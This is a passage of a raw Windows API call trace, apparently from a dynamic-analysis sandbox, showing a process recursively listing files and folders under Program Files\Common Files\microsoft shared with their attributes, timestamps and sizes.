ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0148.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895178 [0148.613] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.613] FindClose (in: hFindFile=0x895178 | out: hFindFile=0x895178) returned 1 [0148.613] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0148.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8954f8 [0148.613] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.614] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.614] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.614] FindClose (in: hFindFile=0x8954f8 | out: hFindFile=0x8954f8) returned 1 [0148.614] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.614] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0148.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895438 [0148.614] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.614] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.614] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.614] FindClose (in: hFindFile=0x895438 | out: hFindFile=0x895438) returned 1 [0148.614] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0148.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894eb8 [0148.615] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.615] FindClose (in: hFindFile=0x894eb8 | out: hFindFile=0x894eb8) returned 1 [0148.615] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0148.615] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.615] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4520080 | out: hHeap=0x23a0000) returned 1 [0148.615] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0148.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951b8 [0148.616] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.616] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8950b8 [0148.616] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.616] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0148.616] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0148.617] FindClose (in: hFindFile=0x8950b8 | out: hFindFile=0x8950b8) returned 1 [0148.618] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.618] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0148.618] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0148.618] FindClose (in: hFindFile=0x8951b8 | out: hFindFile=0x8951b8) returned 1 [0148.618] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.618] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0148.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895238 [0148.618] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.619] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0148.619] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0148.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895178 [0148.620] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0148.620] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0148.620] FindClose (in: hFindFile=0x895178 | out: hFindFile=0x895178) returned 1 [0148.621] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.621] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0148.621] FindClose (in: hFindFile=0x895238 | out: hFindFile=0x895238) returned 1 [0148.622] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.622] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, 